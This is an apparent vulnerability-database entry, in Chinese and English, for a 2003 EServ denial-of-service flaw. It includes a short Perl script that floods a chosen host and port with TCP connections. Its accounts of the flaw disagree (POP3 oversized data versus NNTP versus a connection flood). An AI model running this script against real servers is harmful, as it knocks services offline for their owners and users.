EType EServ POP3远程拒绝服务攻击漏洞

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漏洞ID 1107148 漏洞类型 其他
发布时间 2003-01-04 更新时间 2006-01-19
CVE编号 CVE-2003-1266 CNNVD-ID CNNVD-200312-411
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/22124
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-411
|漏洞详情
Eserv是一款集成Mail、News、Web、FTP和代理服务器的系统。Eserv的POP3服务程序对超大数据处理不正确,远程攻击者可以利用这个漏洞对POP3服务进行拒绝服务攻击。攻击者连接EservPOP3服务器,发送超过4950001b字节大小数据,可使POP3服务崩溃.这不是由于缓冲区溢出引起,因此不能用于提升权限和执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/6522/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via NNTP, the software becomes unstable.

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
|参考资料

来源:BID
名称:6522
链接:http://www.securityfocus.com/bid/6522
来源:BID
名称:6521
链接:http://www.securityfocus.com/bid/6521
来源:BID
名称:6520
链接:http://www.securityfocus.com/bid/6520
来源:BID
名称:6519
链接:http://www.securityfocus.com/bid/6519
来源:XF
名称:eserv-remote-data-dos(10975)
链接:http://www.iss.net/security_center/static/10975.php
来源:BUGTRAQ
名称:20030104EServ/2.97remoteDoS
链接:http://archives.neohapsis.com/archives/bugtraq/2003-01/0022.html
来源:NSFOCUS
名称:4155※4156※4158※4157
链接:http://www.nsfocus.net/vulndb/4155※4156※4158※4157